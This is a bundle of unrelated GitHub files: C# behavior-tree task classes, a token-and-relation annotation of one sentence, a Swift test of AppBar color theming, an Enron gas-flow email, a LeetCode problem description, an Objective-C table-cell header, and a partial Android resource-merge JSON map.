public class CompositeTask : BranchTask
{
public override void traverse(bool childFirst, NodeHandler_t handler, Agent pAgent, object user_data)
{
if (childFirst)
{
for (int i = 0; i < this.m_children.Count; ++i)
{
BehaviorTask task = this.m_children[i];
task.traverse(childFirst, handler, pAgent, user_data);
}
handler(this, pAgent, user_data);
}
else
{
if (handler(this, pAgent, user_data))
{
for (int i = 0; i < this.m_children.Count; ++i)
{
BehaviorTask task = this.m_children[i];
task.traverse(childFirst, handler, pAgent, user_data);
}
}
}
}
protected CompositeTask()
{
m_activeChildIndex = InvalidChildIndex;
}
//~CompositeTask()
//{
// this.m_children.Clear();
//}
protected bool m_bIgnoreChildren = false;
public override void Init(BehaviorNode node)
{
base.Init(node);
if (!this.m_bIgnoreChildren)
{
Debug.Check(node.GetChildrenCount() > 0);
int childrenCount = node.GetChildrenCount();
for (int i = 0; i < childrenCount; i++)
{
BehaviorNode childNode = node.GetChild(i);
BehaviorTask childTask = childNode.CreateAndInitTask();
this.addChild(childTask);
}
}
}
public override void copyto(BehaviorTask target)
{
base.copyto(target);
Debug.Check(target is CompositeTask);
CompositeTask ttask = target as CompositeTask;
ttask.m_activeChildIndex = this.m_activeChildIndex;
Debug.Check(this.m_children.Count > 0);
Debug.Check(this.m_children.Count == ttask.m_children.Count);
int count = this.m_children.Count;
for (int i = 0; i < count; ++i)
{
BehaviorTask childTask = this.m_children[i];
BehaviorTask childTTask = ttask.m_children[i];
childTask.copyto(childTTask);
}
}
public override void save(ISerializableNode node)
{
base.save(node);
//BehaviorTasks_t.size_type count = this.m_children.Count;
//for (BehaviorTasks_t.size_type i = 0; i < count; ++i)
//{
// BehaviorTask childTask = this.m_children[i];
// CSerializationID nodeId = new CSerializationID("node");
// ISerializableNode chidlNode = node.newChild(nodeId);
// childTask.save(chidlNode);
//}
}
public override void load(ISerializableNode node)
{
base.load(node);
}
protected override void addChild(BehaviorTask pBehavior)
{
pBehavior.SetParent(this);
this.m_children.Add(pBehavior);
}
protected List<BehaviorTask> m_children = new List<BehaviorTask>();
protected BehaviorTask GetChildById(int nodeId)
{
if (this.m_children != null && this.m_children.Count > 0)
{
for (int i = 0; i < this.m_children.Count; ++i)
{
BehaviorTask c = this.m_children[i];
if (c.GetId() == nodeId)
{
return c;
}
}
}
return null;
}
//book mark the current child
protected int m_activeChildIndex = InvalidChildIndex;
protected const int InvalidChildIndex = -1;
}
// ============================================================================
public class SingeChildTask : BranchTask
{
public override void traverse(bool childFirst, NodeHandler_t handler, Agent pAgent, object user_data)
{
if (childFirst)
{
if (this.m_root != null)
{
this.m_root.traverse(childFirst, handler, pAgent, user_data);
}
handler(this, pAgent, user_data);
}
else
{
if (handler(this, pAgent, user_data))
{
if (this.m_root != null)
{
this.m_root.traverse(childFirst, handler, pAgent, user_data);
}
}
}
}
protected SingeChildTask()
{
m_root = null;
}
public override void Init(BehaviorNode node)
{
base.Init(node);
Debug.Check(node.GetChildrenCount() <= 1);
if (node.GetChildrenCount() == 1)
{
BehaviorNode childNode = node.GetChild(0);
Debug.Check(childNode != null);
if (childNode != null)
{
BehaviorTask childTask = childNode.CreateAndInitTask();
this.addChild(childTask);
}
}
else
{
Debug.Check(true);
}
}
public override void copyto(BehaviorTask target)
{
base.copyto(target);
Debug.Check(target is SingeChildTask);
SingeChildTask ttask = target as SingeChildTask;
if (this.m_root != null && ttask != null)
{
//referencebehavior/query, etc.
if (ttask.m_root == null)
{
BehaviorNode pNode = this.m_root.GetNode();
Debug.Check(pNode is BehaviorTree);
if (pNode != null)
{
ttask.m_root = pNode.CreateAndInitTask();
}
//Debug.Check(ttask.m_root is BehaviorTreeTask);
//BehaviorTreeTask btt = ttask.m_root as BehaviorTreeTask;
//btt.ModifyId(ttask);
}
Debug.Check(ttask.m_root != null);
if (ttask.m_root != null)
{
this.m_root.copyto(ttask.m_root);
}
}
}
public override void save(ISerializableNode node)
{
base.save(node);
if (this.m_root != null)
{
//CSerializationID nodeId = new CSerializationID("root");
//ISerializableNode chidlNode = node.newChild(nodeId);
//this.m_root.save(chidlNode);
}
}
public override void load(ISerializableNode node)
{
base.load(node);
}
protected override EBTStatus update(Agent pAgent, EBTStatus childStatus)
{
if (this.m_root != null)
{
EBTStatus s = this.m_root.exec(pAgent, childStatus);
return s;
}
return EBTStatus.BT_FAILURE;
}
protected override void addChild(BehaviorTask pBehavior)
{
pBehavior.SetParent(this);
this.m_root = pBehavior;
}
protected BehaviorTask m_root;
}
// ============================================================================
public abstract class DecoratorTask : SingeChildTask
{
protected DecoratorTask()
{
}
protected override EBTStatus update_current(Agent pAgent, EBTStatus childStatus)
{
return base.update_current(pAgent, childStatus);
}
protected override EBTStatus update(Agent pAgent, EBTStatus childStatus)
{
Debug.Check(this.m_node is DecoratorNode);
DecoratorNode node = (DecoratorNode)this.m_node;
EBTStatus status = EBTStatus.BT_INVALID;
if (childStatus != EBTStatus.BT_RUNNING)
{
status = childStatus;
if (!node.m_bDecorateWhenChildEnds || status != EBTStatus.BT_RUNNING)
{
EBTStatus result = this.decorate(status);
if (result != EBTStatus.BT_RUNNING)
{
return result;
}
return EBTStatus.BT_RUNNING;
}
}
status = base.update(pAgent, childStatus);
if (!node.m_bDecorateWhenChildEnds || status != EBTStatus.BT_RUNNING)
{
EBTStatus result = this.decorate(status);
return result;
}
return EBTStatus.BT_RUNNING;
}
/*
called when the child's tick returns success or failure.
please note, it is not called if the child's tick returns running
*/
protected abstract EBTStatus decorate(EBTStatus status);
}
// ============================================================================
public class BehaviorTreeTask : SingeChildTask
{
private Dictionary<uint, IInstantiatedVariable> m_localVars = new Dictionary<uint, IInstantiatedVariable>();
private BehaviorTreeTask m_excutingTreeTask = null;
public Dictionary<uint, IInstantiatedVariable> LocalVars
{
get
{
return m_localVars;
}
}
internal void SetVariable<VariableType>(string variableName, VariableType value)
{
uint variableId = Utils.MakeVariableId(variableName);
if (this.LocalVars.ContainsKey(variableId))
{
IInstantiatedVariable v = this.LocalVars[variableId];
CVariable<VariableType> var = (CVariable<VariableType>)v;
if (var != null)
{
var.SetValue(null, value);
return;
}
}
Debug.Check(false, string.Format("The variable \"{0}\" with type \"{1}\" can not be found!", variableName, typeof(VariableType).Name));
}
internal void AddVariables(Dictionary<uint, IInstantiatedVariable> vars)
{
if (vars != null)
{
var e = vars.Keys.GetEnumerator();
while (e.MoveNext())
{
uint varId = e.Current;
this.LocalVars[varId] = vars[varId];
}
}
}
public override void Init(BehaviorNode node)
{
base.Init(node);
if (this.m_node != null)
{
Debug.Check(this.m_node is BehaviorTree);
((BehaviorTree)this.m_node).InstantiatePars(this.LocalVars);
}
}
public override void Clear()
{
this.m_root = null;
if (this.m_node != null)
{
Debug.Check(this.m_node is BehaviorTree);
((BehaviorTree)this.m_node).UnInstantiatePars(this.LocalVars);
}
base.Clear();
}
public void SetRootTask(BehaviorTask pRoot)
{
this.addChild(pRoot);
}
public void CopyTo(BehaviorTreeTask target)
{
this.copyto(target);
}
public void Save(ISerializableNode node)
{
//CSerializationID btId = new CSerializationID("BehaviorTree");
//ISerializableNode btNodeRoot = node.newChild(btId);
//Debug.Check(this.GetNode() is BehaviorTree);
//BehaviorTree bt = (BehaviorTree)this.GetNode();
//CSerializationID sourceId = new CSerializationID("source");
//btNodeRoot.setAttr(sourceId, bt.GetName());
//CSerializationID nodeId = new CSerializationID("node");
//ISerializableNode btNode = btNodeRoot.newChild(nodeId);
//this.save(btNode);
}
public void Load(ISerializableNode node)
{
this.load(node);
}
/**
return the path relative to the workspace path
*/
public string GetName()
{
Debug.Check(this.m_node is BehaviorTree);
BehaviorTree bt = this.m_node as BehaviorTree;
Debug.Check(bt != null);
return bt.GetName();
}
private EBTStatus m_endStatus = EBTStatus.BT_INVALID;
public void setEndStatus(EBTStatus status)
{
this.m_endStatus = status;
}
public EBTStatus resume(Agent pAgent, EBTStatus status)
{
EBTStatus s = base.resume_branch(pAgent, status);
return s;
}
protected override bool onenter(Agent pAgent)
{
pAgent.LogJumpTree(this.GetName());
return true;
}
protected override void onexit(Agent pAgent, EBTStatus s)
{
pAgent.ExcutingTreeTask = this.m_excutingTreeTask;
pAgent.LogReturnTree(this.GetName());
base.onexit(pAgent, s);
}
#region FSM
private List<BehaviorTask> m_states = null;
public BehaviorTask GetChildById(int nodeId)
{
if (this.m_states != null && this.m_states.Count > 0)
{
for (int i = 0; i < this.m_states.Count; ++i)
{
BehaviorTask c = this.m_states[i];
if (c.GetId() == nodeId)
{
return c;
}
}
}
return null;
}
#endregion FSM
protected override EBTStatus update_current(Agent pAgent, EBTStatus childStatus)
{
Debug.Check(this.m_node != null);
Debug.Check(this.m_node is BehaviorTree);
this.m_excutingTreeTask = pAgent.ExcutingTreeTask;
pAgent.ExcutingTreeTask = this;
BehaviorTree tree = (BehaviorTree)this.m_node;
EBTStatus status = EBTStatus.BT_RUNNING;
if (tree.IsFSM)
{
status = this.update(pAgent, childStatus);
}
else
{
status = base.update_current(pAgent, childStatus);
}
return status;
}
private void end(Agent pAgent, EBTStatus status)
{
this.traverse(true, end_handler_, pAgent, status);
}
protected override EBTStatus update(Agent pAgent, EBTStatus childStatus)
{
Debug.Check(this.m_node != null);
Debug.Check(this.m_root != null);
if (childStatus != EBTStatus.BT_RUNNING)
{
return childStatus;
}
EBTStatus status = EBTStatus.BT_INVALID;
status = base.update(pAgent, childStatus);
Debug.Check(status != EBTStatus.BT_INVALID);
// When the End node takes effect, it always returns BT_RUNNING
// and m_endStatus should always be BT_SUCCESS or BT_FAILURE
if ((status == EBTStatus.BT_RUNNING) && (this.m_endStatus != EBTStatus.BT_INVALID))
{
this.end(pAgent, this.m_endStatus);
return this.m_endStatus;
}
return status;
}
}
}
|
{
"pile_set_name": "Github"
}
|
T0 segment 0 5 Frank
T1 segment 6 14 Spotnitz
T2 segment 15 17 is
T3 segment 18 20 an
T4 segment 21 29 American
T5 segment 30 40 television
T6 segment 41 47 writer
T7 segment 48 51 and
T8 segment 52 60 producer
T9 segment 60 61 ,
T10 segment 62 66 best
T11 segment 67 72 known
T12 segment 73 76 for
T13 segment 77 80 his
T14 segment 81 85 work
T15 segment 86 88 on
T16 segment 89 92 The
T17 segment 93 100 X-Files
T18 segment 101 111 television
T19 segment 112 118 series
T20 segment 119 120 .
R0 s_p Arg1:T1 Arg2:T2
R1 compound Arg1:T1 Arg2:T0
R2 p_o Arg1:T2 Arg2:T6
R3 compound Arg1:T6 Arg2:T5
R4 is-specialized-by Arg1:T6 Arg2:T4
R5 is-specialized-by Arg1:T11 Arg2:T10
R6 is-specialized-by Arg1:T11 Arg2:T12
R7 c_co Arg1:T12 Arg2:T14
R8 is-specialized-by Arg1:T14 Arg2:T15
R9 c_co Arg1:T15 Arg2:T19
R10 compound Arg1:T19 Arg2:T18
R11 compound Arg1:T19 Arg2:T17
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018-present the Material Components for iOS authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import XCTest
import MaterialComponents.MaterialAppBar
import MaterialComponents.MaterialAppBar_ColorThemer
import MaterialComponents.MaterialThemes
class AppBarColorThemerTests: XCTestCase {
func testSemanticColorThemerAffectsSubComponents() {
// Given
let appBar = MDCAppBar()
appBar.headerViewController.headerView.backgroundColor = .red
appBar.navigationBar.backgroundColor = .blue
appBar.navigationBar.titleTextColor = .green;
appBar.navigationBar.tintColor = .orange;
let colorScheme = MDCSemanticColorScheme(defaults: .material201804)
colorScheme.primaryColor = .purple
colorScheme.onPrimaryColor = .lightGray
// When
MDCAppBarColorThemer.applySemanticColorScheme(colorScheme, to: appBar)
// Then
XCTAssertEqual(appBar.headerViewController.headerView.backgroundColor,
colorScheme.primaryColor)
XCTAssertEqual(appBar.navigationBar.backgroundColor, colorScheme.primaryColor)
XCTAssertEqual(appBar.navigationBar.titleTextColor, colorScheme.onPrimaryColor)
XCTAssertEqual(appBar.navigationBar.tintColor, colorScheme.onPrimaryColor)
}
func testSurfaceVariantColorThemerAffectsSubComponents() {
// Given
let appBar = MDCAppBar()
appBar.headerViewController.headerView.backgroundColor = .red
appBar.navigationBar.backgroundColor = .blue
appBar.navigationBar.titleTextColor = .green;
appBar.navigationBar.tintColor = .orange;
let colorScheme = MDCSemanticColorScheme(defaults: .material201804)
colorScheme.surfaceColor = .purple
colorScheme.onSurfaceColor = .lightGray
// When
MDCAppBarColorThemer.applySurfaceVariant(withColorScheme: colorScheme, to: appBar)
// Then
XCTAssertEqual(appBar.headerViewController.headerView.backgroundColor,
colorScheme.surfaceColor)
XCTAssertEqual(appBar.navigationBar.backgroundColor, colorScheme.surfaceColor)
XCTAssertEqual(appBar.navigationBar.titleTextColor,
colorScheme.onSurfaceColor.withAlphaComponent(0.87))
XCTAssertEqual(appBar.navigationBar.buttonsTitleColor(for: .normal),
colorScheme.onSurfaceColor.withAlphaComponent(0.87))
XCTAssertEqual(appBar.navigationBar.tintColor,
colorScheme.onSurfaceColor.withAlphaComponent(0.54))
}
func testColorThemerAffectsSubComponents() {
// Given
let appBar = MDCAppBar()
let colorScheme = MDCBasicColorScheme(primaryColor: .red)
// When
MDCAppBarColorThemer.apply(colorScheme, to: appBar)
// Then
XCTAssertEqual(appBar.headerViewController.headerView.backgroundColor,
colorScheme.primaryColor)
XCTAssertEqual(appBar.navigationBar.backgroundColor,
colorScheme.primaryColor)
}
}
|
{
"pile_set_name": "Github"
}
|
Subject: re : noms / actual flow for 03 / 09 thru 3 / 11 / 01
we agree with the nominated totals .
" eileen ponton " on 03 / 12 / 2001 09 : 22 : 50 am
to : david avila / lsp / enserch / us @ tu , charlie stone / texas utilities @ tu , melissa
jones / texas utilities @ tu , hpl . scheduling @ enron . com , liz . bellamy @ enron . com
cc :
subject : noms / actual flow for 03 / 09 thru 3 / 11 / 01
date nom flow - mcf flow - mmbtu
3 / 09 30 , 000 29 , 998 30 , 798
3 / 10 30 , 000 29 , 995 30 , 805
3 / 11 0 0 0
btu = 1 . 027
|
{
"pile_set_name": "Github"
}
|
# [1161. Maximum Level Sum of a Binary Tree](https://leetcode.com/problems/maximum-level-sum-of-a-binary-tree)
[中文文档](/solution/1100-1199/1161.Maximum%20Level%20Sum%20of%20a%20Binary%20Tree/README.md)
## Description
<p>Given the <code>root</code> of a binary tree, the level of its root is <code>1</code>, the level of its children is <code>2</code>, and so on.</p>
<p>Return the <strong>smallest</strong> level <code>X</code> such that the sum of all the values of nodes at level <code>X</code> is <strong>maximal</strong>.</p>
<p> </p>
<p><strong>Example 1:</strong></p>

<pre>
<strong>Input: </strong><span id="example-input-1-1">[1,7,0,7,-8,null,null]</span>
<strong>Output: </strong><span id="example-output-1">2</span>
<strong>Explanation: </strong>
Level 1 sum = 1.
Level 2 sum = 7 + 0 = 7.
Level 3 sum = 7 + -8 = -1.
So we return the level with the maximum sum which is level 2.
</pre>
<p> </p>
<p><strong>Note:</strong></p>
<ol>
<li>The number of nodes in the given tree is between <code>1</code> and <code>10^4</code>.</li>
<li><code>-10^5 <= node.val <= 10^5</code></li>
</ol>
## Solutions
<!-- tabs:start -->
### **Python3**
```python
```
### **Java**
```java
```
### **...**
```
```
<!-- tabs:end -->
|
{
"pile_set_name": "Github"
}
|
//
// LPBaseCell.h
// zjtSinaWeiboClient
//
// Created by jtone z on 11-11-25.
// Copyright (c) 2011年 __MyCompanyName__. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface LPBaseCell : UITableViewCell
+ (UINib *)nib;
+ (id)cellForTableView:(UITableView *)tableView withStyle:(UITableViewCellStyle)style cellID:(NSString*)cellID;
+ (id)cellForTableView:(UITableView *)tableView withStyle:(UITableViewCellStyle)style;
+ (id)cellForTableView:(UITableView *)tableView fromNib:(UINib *)nib;
+ (NSString *)cellIdentifier;
- (void)reset;
@end
|
{
"pile_set_name": "Github"
}
|
[
{
"outputFile": "/Volumes/Personnel/Gigoteur/UnicornConsole/android/sdl/build/intermediates/incremental/mergeDebugResources/merged.dir/values-v21/values-v21.xml",
"map": [
{
"to": {
"startLine": 2,
"startColumn": 4,
"startOffset": 55,
"endColumn": 103,
"endOffset": 154
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 2,
"startColumn": 4,
"startOffset": 55,
"endColumn": 103,
"endOffset": 154
}
}
},
{
"to": {
"startLine": 3,
"startColumn": 4,
"startOffset": 159,
"endColumn": 63,
"endOffset": 218
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 3,
"startColumn": 4,
"startOffset": 159,
"endColumn": 63,
"endOffset": 218
}
}
},
{
"to": {
"startLine": 4,
"startColumn": 4,
"startOffset": 223,
"endColumn": 66,
"endOffset": 285
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 4,
"startColumn": 4,
"startOffset": 223,
"endColumn": 66,
"endOffset": 285
}
}
},
{
"to": {
"startLine": 5,
"startColumn": 4,
"startOffset": 290,
"endColumn": 63,
"endOffset": 349
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 5,
"startColumn": 4,
"startOffset": 290,
"endColumn": 63,
"endOffset": 349
}
}
},
{
"to": {
"startLine": 6,
"startColumn": 4,
"startOffset": 354,
"endColumn": 90,
"endOffset": 440
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 6,
"startColumn": 4,
"startOffset": 354,
"endColumn": 90,
"endOffset": 440
}
}
},
{
"to": {
"startLine": 7,
"startColumn": 4,
"startOffset": 445,
"endColumn": 102,
"endOffset": 543
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 7,
"startColumn": 4,
"startOffset": 445,
"endColumn": 102,
"endOffset": 543
}
}
},
{
"to": {
"startLine": 8,
"startColumn": 4,
"startOffset": 548,
"endColumn": 102,
"endOffset": 646
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 8,
"startColumn": 4,
"startOffset": 548,
"endColumn": 102,
"endOffset": 646
}
}
},
{
"to": {
"startLine": 9,
"startColumn": 4,
"startOffset": 651,
"endColumn": 104,
"endOffset": 751
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 9,
"startColumn": 4,
"startOffset": 651,
"endColumn": 104,
"endOffset": 751
}
}
},
{
"to": {
"startLine": 10,
"startColumn": 4,
"startOffset": 756,
"endColumn": 106,
"endOffset": 858
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 10,
"startColumn": 4,
"startOffset": 756,
"endColumn": 106,
"endOffset": 858
}
}
},
{
"to": {
"startLine": 11,
"startColumn": 4,
"startOffset": 863,
"endColumn": 108,
"endOffset": 967
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 11,
"startColumn": 4,
"startOffset": 863,
"endColumn": 108,
"endOffset": 967
}
}
},
{
"to": {
"startLine": 12,
"startColumn": 4,
"startOffset": 972,
"endColumn": 108,
"endOffset": 1076
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 12,
"startColumn": 4,
"startOffset": 972,
"endColumn": 108,
"endOffset": 1076
}
}
},
{
"to": {
"startLine": 13,
"startColumn": 4,
"startOffset": 1081,
"endColumn": 108,
"endOffset": 1185
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 13,
"startColumn": 4,
"startOffset": 1081,
"endColumn": 108,
"endOffset": 1185
}
}
},
{
"to": {
"startLine": 14,
"startColumn": 4,
"startOffset": 1190,
"endColumn": 108,
"endOffset": 1294
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 14,
"startColumn": 4,
"startOffset": 1190,
"endColumn": 108,
"endOffset": 1294
}
}
},
{
"to": {
"startLine": 15,
"startColumn": 4,
"startOffset": 1299,
"endColumn": 108,
"endOffset": 1403
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 15,
"startColumn": 4,
"startOffset": 1299,
"endColumn": 108,
"endOffset": 1403
}
}
},
{
"to": {
"startLine": 16,
"startColumn": 4,
"startOffset": 1408,
"endColumn": 106,
"endOffset": 1510
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 16,
"startColumn": 4,
"startOffset": 1408,
"endColumn": 106,
"endOffset": 1510
}
}
},
{
"to": {
"startLine": 17,
"startColumn": 4,
"startOffset": 1515,
"endColumn": 102,
"endOffset": 1613
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 17,
"startColumn": 4,
"startOffset": 1515,
"endColumn": 102,
"endOffset": 1613
}
}
},
{
"to": {
"startLine": 18,
"startColumn": 4,
"startOffset": 1618,
"endColumn": 118,
"endOffset": 1732
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 18,
"startColumn": 4,
"startOffset": 1618,
"endColumn": 118,
"endOffset": 1732
}
}
},
{
"to": {
"startLine": 19,
"startColumn": 4,
"startOffset": 1737,
"endLine": 20,
"endColumn": 12,
"endOffset": 1887
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 19,
"startColumn": 4,
"startOffset": 1737,
"endLine": 20,
"endColumn": 12,
"endOffset": 1887
}
}
},
{
"to": {
"startLine": 21,
"startColumn": 4,
"startOffset": 1892,
"endLine": 22,
"endColumn": 12,
"endOffset": 2042
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 21,
"startColumn": 4,
"startOffset": 1892,
"endLine": 22,
"endColumn": 12,
"endOffset": 2042
}
}
},
{
"to": {
"startLine": 23,
"startColumn": 4,
"startOffset": 2047,
"endColumn": 104,
"endOffset": 2147
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 23,
"startColumn": 4,
"startOffset": 2047,
"endColumn": 104,
"endOffset": 2147
}
}
},
{
"to": {
"startLine": 24,
"startColumn": 4,
"startOffset": 2152,
"endColumn": 120,
"endOffset": 2268
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 24,
"startColumn": 4,
"startOffset": 2152,
"endColumn": 120,
"endOffset": 2268
}
}
},
{
"to": {
"startLine": 25,
"startColumn": 4,
"startOffset": 2273,
"endColumn": 100,
"endOffset": 2369
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 25,
"startColumn": 4,
"startOffset": 2273,
"endColumn": 100,
"endOffset": 2369
}
}
},
{
"to": {
"startLine": 26,
"startColumn": 4,
"startOffset": 2374,
"endLine": 27,
"endColumn": 12,
"endOffset": 2516
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 26,
"startColumn": 4,
"startOffset": 2374,
"endLine": 27,
"endColumn": 12,
"endOffset": 2516
}
}
},
{
"to": {
"startLine": 28,
"startColumn": 4,
"startOffset": 2521,
"endLine": 29,
"endColumn": 12,
"endOffset": 2657
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 28,
"startColumn": 4,
"startOffset": 2521,
"endLine": 29,
"endColumn": 12,
"endOffset": 2657
}
}
},
{
"to": {
"startLine": 30,
"startColumn": 4,
"startOffset": 2662,
"endColumn": 102,
"endOffset": 2760
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 30,
"startColumn": 4,
"startOffset": 2662,
"endColumn": 102,
"endOffset": 2760
}
}
},
{
"to": {
"startLine": 31,
"startColumn": 4,
"startOffset": 2765,
"endColumn": 118,
"endOffset": 2879
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 31,
"startColumn": 4,
"startOffset": 2765,
"endColumn": 118,
"endOffset": 2879
}
}
},
{
"to": {
"startLine": 32,
"startColumn": 4,
"startOffset": 2884,
"endColumn": 106,
"endOffset": 2986
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 32,
"startColumn": 4,
"startOffset": 2884,
"endColumn": 106,
"endOffset": 2986
}
}
},
{
"to": {
"startLine": 33,
"startColumn": 4,
"startOffset": 2991,
"endColumn": 102,
"endOffset": 3089
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 33,
"startColumn": 4,
"startOffset": 2991,
"endColumn": 102,
"endOffset": 3089
}
}
},
{
"to": {
"startLine": 34,
"startColumn": 4,
"startOffset": 3094,
"endLine": 35,
"endColumn": 12,
"endOffset": 3244
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 34,
"startColumn": 4,
"startOffset": 3094,
"endLine": 35,
"endColumn": 12,
"endOffset": 3244
}
}
},
{
"to": {
"startLine": 36,
"startColumn": 4,
"startOffset": 3249,
"endLine": 37,
"endColumn": 12,
"endOffset": 3415
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 36,
"startColumn": 4,
"startOffset": 3249,
"endLine": 37,
"endColumn": 12,
"endOffset": 3415
}
}
},
{
"to": {
"startLine": 38,
"startColumn": 4,
"startOffset": 3420,
"endLine": 39,
"endColumn": 12,
"endOffset": 3564
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 38,
"startColumn": 4,
"startOffset": 3420,
"endLine": 39,
"endColumn": 12,
"endOffset": 3564
}
}
},
{
"to": {
"startLine": 40,
"startColumn": 4,
"startOffset": 3569,
"endLine": 41,
"endColumn": 12,
"endOffset": 3729
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 40,
"startColumn": 4,
"startOffset": 3569,
"endLine": 41,
"endColumn": 12,
"endOffset": 3729
}
}
},
{
"to": {
"startLine": 42,
"startColumn": 4,
"startOffset": 3734,
"endLine": 43,
"endColumn": 12,
"endOffset": 3886
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 42,
"startColumn": 4,
"startOffset": 3734,
"endLine": 43,
"endColumn": 12,
"endOffset": 3886
}
}
},
{
"to": {
"startLine": 44,
"startColumn": 4,
"startOffset": 3891,
"endLine": 45,
"endColumn": 12,
"endOffset": 4037
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 44,
"startColumn": 4,
"startOffset": 3891,
"endLine": 45,
"endColumn": 12,
"endOffset": 4037
}
}
},
{
"to": {
"startLine": 46,
"startColumn": 4,
"startOffset": 4042,
